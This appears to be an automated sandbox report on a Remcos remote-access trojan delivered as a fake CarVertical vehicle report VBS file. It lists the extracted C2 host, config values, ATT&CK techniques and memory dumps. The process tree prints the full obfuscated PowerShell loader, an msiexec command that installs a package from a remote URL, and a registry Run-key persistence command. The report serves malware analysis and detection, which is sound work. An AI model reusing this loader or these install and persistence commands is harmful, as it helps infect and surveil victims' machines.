Analysis
- max time kernel
298s - max time network
285s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
19/02/2026, 12:45
General
- Target CarVertical-Report-#82173748645.vbs
- Size 42KB
- Sample260219-py935sfx6e
- SHA256 4d74135d3d4bea548866f57269123f6f219212fa16a23508a812599d9fb2aff4
Score
10/10
Malware Config
Extracted
Family
-
remcos
Botnet
-
Hscqure8927
C2
-
www.lighter500.com:47394
Attributes
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Hsecur82673-1827HN
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Remcos
Remcos is a closed-source remote control and surveillance software.
- Remcos family
- Badlisted process makes network request 7 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Use of msiexec (install) with remote resource 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CarVertical-Report-#82173748645.vbs"1⤵
- Badlisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "function reward ($toldo,$udokumenterbar=1,$reorganiseres=32) { $udokumenterbar=$redemonstrationankeaand;$redemonstrationankeaand=2+$reorganiseres;$redemonstrationankeaand=$redemonstrationankeaand-$reorganiseres;do {$stikne+=$toldo[$redemonstrationankeaand];$redemonstrationankeaand+=3} until (!$toldo[$redemonstrationankeaand])$stikne}function Nonadmissibleness ($ludwigas) {.($ozonudslip) ($ludwigas)}function antirobin ($nyhedsbrevets,$redemonstration) {Nonadmissibleness (reward ' ~[ Ois,n/ tg ]l $FFn #yhhh meYYd;;s,^bjjrJJeoov Heqqt# s LL- ^bwwx VoKKr y ff[ ?i.#naatyy]~~$ ,rc e^.df.em mVVo Qnmms:,tHHrIIat t <iFFoggn')}Function Voodoo ($toldo,$selverkendelserne=0){$rudous='hebephrenia';$varpes109='lejevrdistigningernes';$sinnable='taktflelse';$omlastningsstationer='queenweed';$tipiens='begrligere';$tunka='eneboerhytte';$intendance='succorrhea';$distillatory='brsspekulationens';$redemonstrationalladromic=@(68,101,116,101,107,116,105,118,101,110);$bluethroat185='riversider';$dyngede='transcortical';$minted='bengnaverne';$fortrstet='kindbakke';$haussistens='calcimeter';$fontne97='dissonances173';$bladhandlers='ethoxycaffeine';$avance='snittes';Nonadmissibleness (reward ' $##g!!lzzo||b a;;l .: HfJJa,ogR o rr Pdz e.bt >=c [ ECQQo an,|vzzejjrC.tS.] ~: d:Z Fqqryyo??m.PBi aRRs *e =6 *4%%SZ.tFFrM iGGn__gss(xx$ xt//o||lTTd//o *)');$appetite='skalarummet';$boksehandskes='spejlglattes';$spumante='pterodactyl';$forgivenesses='contemporaries';$gennemlsendes='demissionerne';$proclamations='tophemmelige';$forflgere='cotoros';$revalueredes='perceptioner';For($redemonstrationankeaand=0; $redemonstrationankeaand -lt $fagordet.Length; $redemonstrationankeaand++){$fagordet[$redemonstrationankeaand] = antirobin $fagordet[$redemonstrationankeaand] $redemonstrationalladromic[$redemonstrationankeaand%10]}Nonadmissibleness (reward ' Q$s gPPld o mbEEauul::: eaqqbBBa Lniid jo,qnW.sd.=XX[z.TIIeg xqqtEE. ,EJJnWWc,~ossdp izzn+,gRR]:::%%:l.AbbSMMC==I^^Iii. pGffeDDtTTS NtaarHHi.gn Ug++(::$ Ef.Za??gqqoMMraad Te^^t e)');if ($selverkendelserne) { Nonadmissibleness $abandons}else {;$abandons}}$ozonudslip=reward '<<i;.eN x';$onklen=Voodoo 'cUtERUMjABgBATMWVCs/VFhGS15/RSMMBUJdTUUWclFPRRkCU0dRWGpVXUUsEQodCkF2VUVVW0VZR0UoLRcRAwQMRkdRWGpV';$bivaanende=Voodoo 'LBEAFRhORlkSGTNLFwQZFR8XC0M3AAYTAhcMWwsLMQ0VEBhaChkIQTMVWQYEGh0TCxprERwABhEaWREZIQsAHB8DDBgRFzASG0ofEQQGCQ8wAAdKOB8AGhYDLRYHAA0bGx4EACAJHQsMWgoeCA==';$fitzclarence=Voodoo 'eg==';$hovedgaardene='\Mystacial.bed';Voodoo 'YAIYCgkVBUwVASgJHRYfSU0TCxh+BAQVDxUdF05KLAoCAA8TCBcXCiELEQ==' 1;Voodoo 'YAIYCgkVBUwWBTEBHwkKBh1LQQwtExUEBREHEgBANxUYDB9cTRAMGj4GGAQZEQcVAEc=' 1;Voodoo 'HysREUUnDAQTBycAJAoCGh07BAAlAhEXNk5TJQANMRcdERIkGxkRAScKGFhYRF5E' 1;$bivaanende=$skudklart[0];$dvrgkongernes=(Voodoo 'YAIYCgkVBUwRBzIKGAwOBgcTWCAhElkqCR4MFRFOCgAASzwRCzUJByELAA==');Nonadmissibleness ($dvrgkongernes);Voodoo 'YBEdEwQYABMXACFLPAAKEAwEFjUfKxERRTwdAhU8IRQBABgAIRMECiEXKVFbKVRSCgAvCREL' 1;$redemonstrationiotitic=Voodoo 'AAoDCwcbCBIjBygA';$drkarmen=Voodoo 'YBEdEwQYABMXACFLUBcOEAwbCgA3EQYEHx0GGAwBMAwADAhaIBgTAS8AXEEJHR8XBAAhCxAAR1AaGAELKhMdCw8RGl8=';$sndenvindes=$pollist;Voodoo 'YAIYCgkVBUwAHisVHAkOGlReMQs3EVk1CgABVkEdKgERCx0dBxIAHW0=' 1;while (!$epophlen) {Voodoo 'YAIYCgkVBUwgCCIAHxEeERtLQRo2ChkVDgAABRELNldAXA==' 1;Nonadmissibleness $drkarmen;Voodoo 'FwkRABtcXV8=' 1;Voodoo 'YAIYCgkVBUwAHisVHAkOGlReMQs3EVk1CgABVkEdKgERCx0dBxIAHW0=' 1 ;Voodoo 'YAIYCgkVBUwBAScRBgwFHRoXEQcrC0lBDBgGFAQCfggVCwwRABMWGm9OUUEYHxwSDgIlFwBLCBscGBE=' 1;$bivaanende=$skudklart[$doctrinisation]}$fictive=304298;$procesrente=20672;Voodoo 'YAIYCgkVBUwBGyYJDABWEwpWQR0qARELHR0HEgAd' 1;Voodoo 'YAIYCgkVBUwgBTcRBhAPERsTF1MfJhsLHREbAjhUfiMGCgY2CAUAWHA2ABcCGg5eQQoxBxgdDl0=' 1;Voodoo 'YAIYCgkVBUwHHCULEAcSGA0TFwAhFkVSVi89Ex0aaiAaBgQQABgCM35fNTYoPSBYIgswNgAXAhoOXkErLxYAFx4QDAQAHG0=' 1;Voodoo 'YAIYCgkVBUwQADIAGgAZFQsaHFNgBwYEBRALDwkKIRcaABhFXlgWGyYWABcCGg5eQQgtBgAMHRFFUhUcKwYRFhkRBwIARw==' 1;Nonadmissibleness $unvenerably;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function reward ($toldo,$udokumenterbar=1,$reorganiseres=32) { $udokumenterbar=$redemonstrationankeaand;$redemonstrationankeaand=2+$reorganiseres;$redemonstrationankeaand=$redemonstrationankeaand-$reorganiseres;do {$stikne+=$toldo[$redemonstrationankeaand];$redemonstrationankeaand+=3} until (!$toldo[$redemonstrationankeaand])$stikne}function Nonadmissibleness ($ludwigas) {.($ozonudslip) ($ludwigas)}function antirobin ($nyhedsbrevets,$redemonstration) {Nonadmissibleness (reward ' ~[ Ois,n/ tg ]l $FFn #yhhh meYYd;;s,^bjjrJJeoov Heqqt# s LL- ^bwwx VoKKr y ff[ ?i.#naatyy]~~$ ,rc e^.df.em mVVo Qnmms:,tHHrIIat t <iFFoggn')}Function Voodoo ($toldo,$selverkendelserne=0){$rudous='hebephrenia';$varpes109='lejevrdistigningernes';$sinnable='taktflelse';$omlastningsstationer='queenweed';$tipiens='begrligere';$tunka='eneboerhytte';$intendance='succorrhea';$distillatory='brsspekulationens';$redemonstrationalladromic=@(68,101,116,101,107,116,105,118,101,110);$bluethroat185='riversider';$dyngede='transcortical';$minted='bengnaverne';$fortrstet='kindbakke';$haussistens='calcimeter';$fontne97='dissonances173';$bladhandlers='ethoxycaffeine';$avance='snittes';Nonadmissibleness (reward ' $##g!!lzzo||b a;;l .: HfJJa,ogR o rr Pdz e.bt >=c [ ECQQo an,|vzzejjrC.tS.] ~: d:Z Fqqryyo??m.PBi aRRs *e =6 *4%%SZ.tFFrM iGGn__gss(xx$ xt//o||lTTd//o *)');$appetite='skalarummet';$boksehandskes='spejlglattes';$spumante='pterodactyl';$forgivenesses='contemporaries';$gennemlsendes='demissionerne';$proclamations='tophemmelige';$forflgere='cotoros';$revalueredes='perceptioner';For($redemonstrationankeaand=0; $redemonstrationankeaand -lt $fagordet.Length; $redemonstrationankeaand++){$fagordet[$redemonstrationankeaand] = antirobin $fagordet[$redemonstrationankeaand] $redemonstrationalladromic[$redemonstrationankeaand%10]}Nonadmissibleness (reward ' Q$s gPPld o mbEEauul::: eaqqbBBa Lniid jo,qnW.sd.=XX[z.TIIeg xqqtEE. ,EJJnWWc,~ossdp izzn+,gRR]:::%%:l.AbbSMMC==I^^Iii. pGffeDDtTTS NtaarHHi.gn Ug++(::$ Ef.Za??gqqoMMraad Te^^t e)');if ($selverkendelserne) { Nonadmissibleness $abandons}else {;$abandons}}$ozonudslip=reward '<<i;.eN x';$onklen=Voodoo 'cUtERUMjABgBATMWVCs/VFhGS15/RSMMBUJdTUUWclFPRRkCU0dRWGpVXUUsEQodCkF2VUVVW0VZR0UoLRcRAwQMRkdRWGpV';$bivaanende=Voodoo 'LBEAFRhORlkSGTNLFwQZFR8XC0M3AAYTAhcMWwsLMQ0VEBhaChkIQTMVWQYEGh0TCxprERwABhEaWREZIQsAHB8DDBgRFzASG0ofEQQGCQ8wAAdKOB8AGhYDLRYHAA0bGx4EACAJHQsMWgoeCA==';$fitzclarence=Voodoo 'eg==';$hovedgaardene='\Mystacial.bed';Voodoo 'YAIYCgkVBUwVASgJHRYfSU0TCxh+BAQVDxUdF05KLAoCAA8TCBcXCiELEQ==' 1;Voodoo 'YAIYCgkVBUwWBTEBHwkKBh1LQQwtExUEBREHEgBANxUYDB9cTRAMGj4GGAQZEQcVAEc=' 1;Voodoo 'HysREUUnDAQTBycAJAoCGh07BAAlAhEXNk5TJQANMRcdERIkGxkRAScKGFhYRF5E' 1;$bivaanende=$skudklart[0];$dvrgkongernes=(Voodoo 'YAIYCgkVBUwRBzIKGAwOBgcTWCAhElkqCR4MFRFOCgAASzwRCzUJByELAA==');Nonadmissibleness ($dvrgkongernes);Voodoo 'YBEdEwQYABMXACFLPAAKEAwEFjUfKxERRTwdAhU8IRQBABgAIRMECiEXKVFbKVRSCgAvCREL' 1;$redemonstrationiotitic=Voodoo 'AAoDCwcbCBIjBygA';$drkarmen=Voodoo 'YBEdEwQYABMXACFLUBcOEAwbCgA3EQYEHx0GGAwBMAwADAhaIBgTAS8AXEEJHR8XBAAhCxAAR1AaGAELKhMdCw8RGl8=';$sndenvindes=$pollist;Voodoo 'YAIYCgkVBUwAHisVHAkOGlReMQs3EVk1CgABVkEdKgERCx0dBxIAHW0=' 1;while (!$epophlen) {Voodoo 'YAIYCgkVBUwgCCIAHxEeERtLQRo2ChkVDgAABRELNldAXA==' 1;Nonadmissibleness $drkarmen;Voodoo 'FwkRABtcXV8=' 1;Voodoo 'YAIYCgkVBUwAHisVHAkOGlReMQs3EVk1CgABVkEdKgERCx0dBxIAHW0=' 1 ;Voodoo 'YAIYCgkVBUwBAScRBgwFHRoXEQcrC0lBDBgGFAQCfggVCwwRABMWGm9OUUEYHxwSDgIlFwBLCBscGBE=' 1;$bivaanende=$skudklart[$doctrinisation]}$fictive=304298;$procesrente=20672;Voodoo 'YAIYCgkVBUwBGyYJDABWEwpWQR0qARELHR0HEgAd' 1;Voodoo 'YAIYCgkVBUwgBTcRBhAPERsTF1MfJhsLHREbAjhUfiMGCgY2CAUAWHA2ABcCGg5eQQoxBxgdDl0=' 1;Voodoo 'YAIYCgkVBUwHHCULEAcSGA0TFwAhFkVSVi89Ex0aaiAaBgQQABgCM35fNTYoPSBYIgswNgAXAhoOXkErLxYAFx4QDAQAHG0=' 1;Voodoo 'YAIYCgkVBUwQADIAGgAZFQsaHFNgBwYEBRALDwkKIRcaABhFXlgWGyYWABcCGg5eQQgtBgAMHRFFUhUcKwYRFhkRBwIARw==' 1;Nonadmissibleness $unvenerably;"1⤵
- Badlisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Pessular/Arbejdssituationer.msi2⤵
- Use of msiexec (install) with remote resource
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Distributrnettenes" /t REG_EXPAND_SZ /d "%selvvirkendes% -windowstyle 2 $Dikket='g'+'p';$Kommunal=(.($Dikket) 'HKCU:\Software\jordaksens\').'Superficialist';%selvvirkendes% ($Kommunal)"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Distributrnettenes" /t REG_EXPAND_SZ /d "%selvvirkendes% -windowstyle 2 $Dikket='g'+'p';$Kommunal=(.($Dikket) 'HKCU:\Software\jordaksens\').'Superficialist';%selvvirkendes% ($Kommunal)"3⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_n0w4s4zu.ff2.ps1
Mystacial.bed
memory/2612-43-0x0000000007900000-0x0000000007922000-memory.dmp
memory/2612-42-0x0000000007960000-0x00000000079F6000-memory.dmp
memory/2612-66-0x0000000023970000-0x0000000024BC4000-memory.dmp
memory/2612-65-0x0000000023970000-0x0000000024BC4000-memory.dmp
memory/2612-60-0x0000000023970000-0x0000000024BC4000-memory.dmp
memory/2612-59-0x00000000012C0000-0x00000000013A3000-memory.dmp
memory/2612-46-0x0000000009110000-0x000000000A25D000-memory.dmp
memory/2612-24-0x0000000002DC0000-0x0000000002DF6000-memory.dmp
memory/2612-25-0x00000000058C0000-0x0000000005EE8000-memory.dmp
memory/2612-26-0x0000000005840000-0x0000000005862000-memory.dmp
memory/2612-27-0x0000000006020000-0x0000000006086000-memory.dmp
memory/2612-28-0x0000000006090000-0x00000000060F6000-memory.dmp
memory/2612-36-0x0000000006100000-0x0000000006454000-memory.dmp
memory/2612-44-0x0000000008B60000-0x0000000009104000-memory.dmp
memory/2612-38-0x00000000066F0000-0x000000000670E000-memory.dmp
memory/2612-39-0x0000000006720000-0x000000000676C000-memory.dmp
memory/2612-40-0x0000000007F30000-0x00000000085AA000-memory.dmp
memory/2612-41-0x0000000006CA0000-0x0000000006CBA000-memory.dmp
memory/2648-4-0x00000226BD100000-0x00000226BD19B000-memory.dmp
memory/2648-5-0x00000226BD330000-0x00000226BD33C000-memory.dmp
memory/4604-6-0x000001A651BB0000-0x000001A651BC0000-memory.dmp
memory/4604-7-0x000001A651BB0000-0x000001A651BC0000-memory.dmp
memory/4604-23-0x000001A66A160000-0x000001A66A20D000-memory.dmp
memory/4604-22-0x000001A651B30000-0x000001A651B3C000-memory.dmp
memory/4604-19-0x000001A651BB0000-0x000001A651BC0000-memory.dmp
memory/4604-16-0x000001A651BB0000-0x000001A651BC0000-memory.dmp
memory/4604-15-0x000001A66A3B0000-0x000001A66A3D2000-memory.dmp